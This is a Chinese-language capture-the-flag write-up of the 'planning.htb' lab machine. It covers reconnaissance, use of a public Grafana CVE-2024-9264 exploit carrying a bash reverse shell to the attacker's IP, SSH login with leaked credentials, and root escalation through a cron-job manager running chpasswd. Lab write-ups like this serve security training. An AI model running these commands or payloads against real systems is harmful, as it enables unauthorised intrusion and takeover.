目标信息
IP地址:
10.129.79.112
(多个IP地址)凭据:
admin / 0D5oT70Fq13EvB5r
信息收集
ICMP检测
PING 10.129.79.112 (10.129.79.112) 56(84) bytes of data.
64 bytes from 10.129.79.112: icmp_seq=1 ttl=63 time=421 ms
64 bytes from 10.129.79.112: icmp_seq=2 ttl=63 time=342 ms
64 bytes from 10.129.79.112: icmp_seq=3 ttl=63 time=363 ms
64 bytes from 10.129.79.112: icmp_seq=4 ttl=63 time=386 ms
--- 10.129.79.112 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 341.507/377.877/421.120/29.489 ms
攻击机和靶机间网络连接正常。
防火墙检测
# Nmap 7.95 scan initiated Sun May 11 07:57:59 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.79.112
Nmap scan report for 10.129.79.112
Host is up (0.38s latency).
All 65535 scanned ports on 10.129.79.112 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Sun May 11 07:58:46 2025 -- 1 IP address (1 host up) scanned in 47.11 seconds
无法探测靶机防火墙状态。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.95 scan initiated Sun May 11 08:02:50 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.79.112
Nmap scan report for 10.129.79.112
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 288.28 ms 10.10.14.1
2 288.47 ms 10.129.79.112
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 11 08:03:44 2025 -- 1 IP address (1 host up) scanned in 53.56 seconds
UDP
端口开放列表扫描结果
# Nmap 7.95 scan initiated Sun May 11 08:04:46 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.79.112
Warning: 10.129.79.112 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.79.112
Host is up (0.30s latency).
All 65535 scanned ports on 10.129.79.112 are in ignored states.
Not shown: 65287 open|filtered udp ports (no-response), 248 closed udp ports (port-unreach)
# Nmap done at Sun May 11 08:08:51 2025 -- 1 IP address (1 host up) scanned in 245.33 seconds
UDP
端口详细信息扫描结果
(无)
同时发现靶机运行Ubuntu Linux
操作系统,开启了SSH
和HTTP Web
服务,主域名为planning.htb
。
服务探测
SSH服务(22端口)
端口Banner
:
┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/planning]
└─# nc -nv 10.129.79.112 22
(UNKNOWN) [10.129.79.112] 22 (ssh) open
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11
Web应用程序(80端口)
子域名枚举
确认靶机Web
服务信息后,首先执行子域名爆破(使用字典bitquark-subdomains-top100000.txt
):
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 60 -u 10.10.11.68 -H "Host: FUZZ.planning.htb" --hh 178 --hc 400
成功发现子站:grafana.planning.htb
!
主站
打开主页:http://planning.htb/
发现当前站点疑似为IT
培训机构的官网。页面正上方的四个链接分别指向:index.php
、about.php
、course.php
和contact.php
。
同时,在下方课程列表处发现了指向detail.php
的网页链接:
<div class="w-100 bg-white text-center p-4" >
<a class="btn btn-primary" href="detail.php">Course Detail</a>
</div>
尝试打开detail.php
,发现页面右侧有指向enroll.php
的按钮链接和一份账单,以及课程介绍,除此之外未发现其它信息:
点击Enroll Now
按钮,跳转至enroll.php
,发现一份表单:
尝试进行SQLi
注入测试,失败。
查看其它页面,除了收集到一个电子邮箱info@planning.htb
外,未发现敏感信息。
直接扫描目录,但未发现任何信息。
子站
打开子站http://grafana.planning.htb/
确认子站部署了Grafana
应用程序监控平台,尝试使用提供的凭据登录:
发现Grafana
的版本为v11.0.0
。联网查询其公开漏洞,成功发现一个授权RCE
漏洞,编号为CVE-2024-9264
:GitHub - nollium/CVE-2024-9264: Exploit for Grafana arbitrary file-read and RCE (CVE-2024-9264)
除此之外,未发现其它信息。
渗透测试
Grafana 授权RCE漏洞利用
在服务探测阶段,我们成功发现了子站grafana.planning.htb
,登录了Grafana v11.0.0
监控平台并发现了该系统的一个RCE
漏洞,现在进行利用。
首先,将EXP
代码克隆到本地:
https://github.com/nollium/CVE-2024-9264.git
chmod -R 777 ./CVE-2024-9264
随后,在项目目录下创建Python
虚拟环境,随后激活环境,并安装其依赖库:
python -m venv ./CVE-2024-9264/expvenv
source ./CVE-2024-9264/expvenv/bin/activate
pip3 install -r ./CVE-2024-9264/requirements.txt
接着在本地443
端口启动netcat
监听,并运行如下命令,启动一个反弹Shell
:
./CVE-2024-9264/CVE-2024-9264.py -u admin -p "0D5oT70Fq13EvB5r" -c "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1'" http://grafana.planning.htb
结果发现命令执行失败了,但是程序似乎把靶机Shell
的环境变量也查询了出来:
仔细查看环境变量内容,从HOSTNAME
一项可发现Grafana
运行于Docker
容器环境中,同时在变量GF_SECURITY_ADMIN_USER
和GF_SECURITY_ADMIN_PASSWORD
中,还存在一份登录凭据:
- 用户名:
enzo
- 密码:
RioTecRANDEntANT!
直接使用上述凭据登录SSH
:
ssh enzo@planning.htb
登录系统成功!!
权限提升
目录信息收集
登录enzo
用户后,执行目录信息收集。在/opt/crontabs/
目录下发现了名为crontab.db
的纯文本文件:
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
JSON
文件内似乎登记了两个定时任务。第一个定时任务为对Docker
镜像root_grafana
进行打包,并将打包好的grafana.tar.gz
文件使用zip
命令加上密码P4ssw0rdS0pRi0T3c
进行进一步压缩;而第二个任务为运行/root/scripts/cleanup.sh
脚本,具体操作未知。
除此之外,未发现其它信息,进行操作系统信息收集。
操作系统信息收集
基本系统信息
进程列表
计划任务列表
环境变量
用户信息
用户家目录
特殊权限文件
开放端口信息
敏感文件权限
经分析研判,发现靶机对本地开放了如下TCP
端口:53
、3000
和8000
。通过查阅Nginx
配置文件,可得知3000
端口为系统映射Docker
内Grafana
监控平台的实际开放端口,Nginx
通过代理功能将来自80
端口的数据发送至了3000
端口。依此,确定8000
端口为重大提权突破口。
接管高权限计划任务管理系统
首先,使用ssh
命令转发8000
端口到攻击机上:
ssh -fCNR 8000:localhost:8000 megumin@10.10.14.3 -p 22222
随后使用浏览器访问:
发现该端口开启了HTTP Basic
认证,尝试了一些收集到的密码组合,但未找到有效凭据。
重新对已知信息进行分析研判,发现/opt/crontabs/crontab.db
文件内也可能隐藏着登录凭据,因为该文件内第一项计划任务的zip
命令中已经存在了密码参数,而Docker
镜像的名称又为root_grafana
,很可能是两个用户名。
尝试使用如下凭据登录8000
端口HTTP Basic
认证:
- 用户名:
root
- 密码:
P4ssw0rdS0pRi0T3c
成功!
发现该计划任务系统很可能以root
身份运行。尝试添加一个修改root
用户密码的计划任务(点击New
按钮打开设置窗口,完成后点击Save
即可):
id > /tmp/id.txt && echo "root:Asd310056" | chpasswd
成功添加后,直接点击Run now
运行,随后尝试使用新设置的密码切换root
用户:
su -
提权成功!!!!